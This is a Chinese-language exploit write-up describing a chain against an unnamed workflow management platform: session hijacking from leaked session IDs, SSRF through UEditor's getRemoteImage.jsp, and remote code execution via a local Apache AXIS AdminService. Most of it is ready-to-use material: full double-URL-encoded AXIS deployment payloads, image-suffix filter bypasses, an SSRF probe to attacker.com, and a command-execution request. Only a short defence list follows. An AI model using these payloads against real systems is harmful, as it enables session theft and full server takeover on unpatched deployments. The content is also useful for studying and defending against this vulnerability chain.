某通用流程化管控平台SSRF到RCE之旅
字数 1459 2025-08-10 00:24:01
某通用流程化管控平台SSRF到RCE漏洞分析与利用
漏洞概述
本文详细分析了一个通用流程化管控平台中存在的安全漏洞链:从SSRF(服务器端请求伪造)到RCE(远程代码执行)的完整利用过程。该漏洞利用涉及多个关键点,包括Session ID泄露、SSRF漏洞利用、AXIS服务RCE以及多重编码绕过技术。
漏洞环境
- 目标系统:某通用流程化管控平台
- 漏洞组件:
- 暴露的Session ID列表
- UEditor编辑器SSRF漏洞 (1.3.5 UTF-8版本)
- Apache AXIS服务 (≤1.4版本)
漏洞利用步骤
Step 1: 未授权访问与Session劫持
目标系统存在一个严重的信息泄露漏洞:
/manage/index.jsp页面直接暴露了所有当前活跃的Session ID- 攻击者可以通过替换自己的Session ID来劫持任意用户会话
利用方法:
- 访问
/manage/index.jsp获取活跃Session ID - 修改自己的Session Cookie为获取到的有效Session ID
- 无需认证即可登录系统
Step 2: 发现SSRF漏洞入口
在已登录状态下发现:
- 系统使用了UEditor编辑器(1.3.5 UTF-8版本)
- 存在SSRF漏洞的文件路径:
/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp - 漏洞参数:
upfile,用于远程获取图片
漏洞验证:
/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=http://attacker.com
Step 3: 发现AXIS服务RCE漏洞
系统内网存在Apache AXIS服务:
- AXIS ≤1.4版本存在已知RCE漏洞
- 默认配置下远程访问被禁止(
remote user access is not allowed) - 通过SSRF本地调用可绕过此限制
Step 4: SSRF到RCE的利用链构建
初始尝试
直接使用AXIS的GET型RCE Payload:
/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--%3E%3Cdeployment%20xmlns%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2F%22%20xmlns%3Ajava%3D%22http%3A%2F%2Fxml.apache.org%2Faxis%2Fwsdd%2Fproviders%2Fjava%22%3E%3Cservice%20name%3D%22ServiceFactoryService%22%20provider%3D%22java%3ARPC%22%3E%3Cparameter%20name%3D%22className%22%20value%3D%22org.apache.axis.client.ServiceFactory%22%2F%3E%3Cparameter%20name%3D%22allowedMethods%22%20value%3D%22*%22%2F%3E%3C%2Fservice%3E%3C%2Fdeployment&xx=xx.jpg
问题:被图片类型检测拦截
分析getRemoteImage.jsp源码
关键检测逻辑:
- 检查URL是否以
.gif,.png,.jpg,.jpeg,.bmp结尾 - 如果不是有效图片类型则报错
绕过尝试1 - 添加.jpg后缀
修改Payload结尾:
...&xx=xx.jpg
结果:仍然被拦截
绕过尝试2 - 处理空格问题
发现XML中空格导致问题,尝试用换行符替代:
- 使用
%0d(回车)替代空格 %0a(换行)会导致部分内容丢失
绕过尝试3 - 构造合法图片URL
利用注释和拼接构造合法图片URL:
...><xx.jpg></xx.jpg
最终绕过方案 - 双重URL编码
对关键字符进行双重URL编码:
%20 → %250d
%22 → %2522
%3A → %253A
%2F → %252F
%3D → %253D
%3E → %253E
%3C → %253C
最终有效Payload:
/common/ueditor1_3_5-utf8/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1:8080/axis/services/AdminService?method=!--%253E%253Cdeployment%250dxmlns%253D%2522http%253A%252F%252Fxml.apache.org%252Faxis%252Fwsdd%252F%2522%250dxmlns%253Ajava%253D%2522http%253A%252F%252Fxml.apache.org%252Faxis%252Fwsdd%252Fproviders%252Fjava%2522%253E%253Cservice%250dname%253D%2522mxxgege%2522%250dprovider%253D%2522java%253ARPC%2522%253E%253Cparameter%250dname%253D%2522className%2522%250dvalue%253D%2522com.sun.script.javascript.RhinoScriptEngine%2522%250d%252F%253E%253Cparameter%250dname%253D%2522allowedMethods%2522%250dvalue%253D%2522eval%2522%250d%252F%253E%253CtypeMapping%250ddeserializer%253D%2522org.apache.axis.encoding.ser.BeanDeserializerFactory%2522%250dtype%253D%2522java%253Ajavax.script.SimpleScriptContext%2522%250dqname%253D%2522ns%253ASimpleScriptContext%2522%250dserializer%253D%2522org.apache.axis.encoding.ser.BeanSerializerFactory%2522%250dxmlns%253Ans%253D%2522urn%253Abeanservice%2522%250dregenerateElement%253D%2522false%2522%253E%253C%252FtypeMapping%253E%253C%252Fservice%253E%253C%252Fdeployment%253E%253Cxx.jpg%253E%253C%2Fxx.jpg
Step 5: 执行任意命令
成功部署恶意服务后,通过访问该服务执行系统命令:
http://localhost:8080/axis/services/mxxgege?method=eval¶m0=Runtime.getRuntime().exec("whoami");
漏洞总结
关键利用点
- Session ID泄露:
/manage/index.jsp直接暴露会话ID - SSRF漏洞:UEditor的
getRemoteImage.jsp未严格过滤URL参数 - AXIS RCE:本地AXIS服务存在代码执行漏洞
- 绕过技术:
- 使用
%0d替代空格 - 双重URL编码绕过过滤
- 构造合法图片URL后缀
- 使用
防御建议
- 修复Session ID泄露问题
- 升级UEditor到最新安全版本
- 对SSRF功能实施严格的白名单限制
- 升级AXIS服务到安全版本
- 实施输入验证和输出编码
- 禁用不必要的内部服务
漏洞利用流程图
Session ID泄露 → 会话劫持 → 发现SSRF → 本地AXIS服务探测 → 构造双重编码Payload → 部署恶意服务 → RCE
该漏洞链展示了从信息泄露到完全系统控制的过程,强调了纵深防御的重要性。